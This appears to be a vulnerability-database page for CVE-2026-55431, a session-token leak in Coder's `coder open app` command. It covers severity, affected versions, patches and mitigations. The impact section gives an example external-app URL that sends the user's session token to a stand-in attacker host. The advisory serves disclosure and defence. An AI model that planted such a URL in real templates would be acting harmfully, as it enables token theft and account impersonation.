How severe is CVE-2026-55431?

CVE-2026-55431 has a CVSS score of 7.7/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by CVE-2026-55431?

CVE-2026-55431 affects the following packages: github.com/coder/coder/v2 (Go), github.com/coder/coder/v2 (Go), github.com/coder/coder/v2 (Go), github.com/coder/coder/v2 (Go). Ecosystems affected: Go.

How do I fix CVE-2026-55431?

Update github.com/coder/coder/v2 to 2.34.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55431 is resolved across your whole dependency graph.

How do I detect CVE-2026-55431 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/coder/coder/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-55431 if there is no patch (or I can't update yet)?

Stop reflecting attacker-controlled destinations: resolve every redirect target against an allowlist of paths or hosts you own, prefer a server-side key over a full URL in the request, and reject absolute URLs entirely where the flow only ever needs a relative one.

Is CVE-2026-55431 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-55431 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-55431?

CVE-2026-55431 has an EPSS (Exploit Prediction Scoring System) score of 0.3%, placing it in the 25th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-55431?

CVE-2026-55431 is classified as CWE-522 (CWE-522), Open Redirect (CWE-601). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2026-55431 published, and has it been updated?

CVE-2026-55431 was published on July 8, 2026 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹

🐹 Go

Not in CISA KEV

HIGH severity

CVE-2026-55431 — v2

HIGHFix: coder/coder#26146

CVE-2026-55431 is a high-severity (CVSS 7.7) CWE-522 vulnerability in github.com/coder/coder/v2. A fix is available for github.com/coder/coder/v2 — see the affected versions and patch details below.

Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps

Also known asGHSA-v54h-cp2w-9x4gGO-2026-5924

Published

Jul 8, 2026

Updated

Aug 12, 2026

Affected

4 pkgs

Patched

4 / 4

Exploits

None indexed

Exploitation data as of Oct 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

A successful exploit gives an attacker total control of the affected component, not partial access.
CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-55431.

EPSS Exploitation Probability

via FIRST.org ↗

0.3%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs25th percentile — riskier than 25% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-55431 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 384,534 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

4 pkgs affected

🐹github.com/coder/coder/v2🐹github.com/coder/coder/v2🐹github.com/coder/coder/v2🐹github.com/coder/coder/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.

Note: Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.

Impact

Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSION_TOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.

Patches

The fix applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend.

The fix was backported to all supported release lines:

Release line	Patched version
2.34	v2.34.2
2.33	v2.33.8
2.32	v2.32.7
2.29 (ESR)	v2.29.17

Workarounds

Avoid running coder open app for untrusted workspaces.

Resources

Fix: #26146

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!

Affected Packages

4 total 4 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/coder/coder/v2`	≥ 2.34.0&&< 2.34.2	2.34.2`go get github.com/coder/coder/v2@v2.34.2`
🐹Go	`github.com/coder/coder/v2`	≥ 2.33.0&&< 2.33.8	2.33.8`go get github.com/coder/coder/v2@v2.33.8`
🐹Go	`github.com/coder/coder/v2`	≥ 2.30.0&&< 2.32.7	2.32.7`go get github.com/coder/coder/v2@v2.32.7`
🐹Go	`github.com/coder/coder/v2`	all versions	2.29.17`go get github.com/coder/coder/v2@v2.29.17`

Affected Products

1 product · 4 configurations

Application

codercoder

≥ 2.34.0 && < 2.34.2

range

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/coder/coder/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/coder/coder/v2 to 2.34.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55431 is resolved across your whole dependency graph.
Workarounds
Stop reflecting attacker-controlled destinations: resolve every redirect target against an allowlist of paths or hosts you own, prefer a server-side key over a full URL in the request, and reject absolute URLs entirely where the flow only ever needs a relative one.

Frequently Asked Questions

### Summary `coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. > **Note:** Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. ### Impact Workspace code can register external apps with arbitrary URLs so an attacker who controls workspac